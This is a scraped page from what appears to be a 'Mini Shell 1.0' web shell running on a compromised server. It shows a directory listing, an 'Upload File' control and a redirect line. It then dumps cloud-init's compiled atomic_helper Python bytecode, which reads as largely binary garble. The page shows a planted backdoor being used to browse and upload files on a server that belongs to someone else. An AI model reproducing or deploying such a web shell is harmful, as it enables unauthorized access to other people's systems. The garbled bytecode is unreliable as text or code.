HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/cloudinit/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/cloudinit/__pycache__/atomic_helper.cpython-311.pyc
�

܍~c���j�ddlZddlZddlZddlZddlZdZeje��Zeddfd�Z	efd�Z
dS)�Ni��wbFc
�p�|r?	tj|��}tj|j��}n#t$rYnwxYwd}	tjtj�|��d|���}t�
d||j||t|����|�
|��|���tj|j|��tj|j|��dS#t"$r"}|�tj|j��|�d}~wwxYw)NF)�dir�delete�modezOAtomically writing to file %s (via temporary file %s) - %s: [%o] %d bytes/chars)�os�stat�S_IMODE�st_mode�OSError�tempfile�NamedTemporaryFile�path�dirname�LOG�debug�name�len�write�close�chmod�rename�	Exception�unlink)�filename�contentr�omode�
preserve_mode�	file_stat�tf�es        �9/usr/lib/python3/dist-packages/cloudinit/atomic_helper.py�
write_filer#
sJ��
��	����)�)�I��<�	� 1�2�2�D�D���	�	�	��D�	����
�B��
�
(������)�)�%�e�
�
�
��	�	�	�
���G�����L�L�	
�	
�	
�	�������
���
�
�
�
����$����
�	�"�'�8�$�$�$�$�$������
�>��I�b�g�������������s%�-2�
?�?�CD	�	
D5�D0�0D5c�X�t|tj|dd���dzd|���S)N�T)�indent�	sort_keys�
�w)rr)r#�json�dumps)r�datars   r"�
write_jsonr-1s;�����
�4��T�2�2�2�T�9��
�	����)r*�loggingrr	r
�
_DEF_PERMS�	getLogger�__name__rr#r-�r.r"�<module>r4s�����������	�	�	�	���������
�
��g���!�!��'�d�%�!�!�!�!�H%/������r.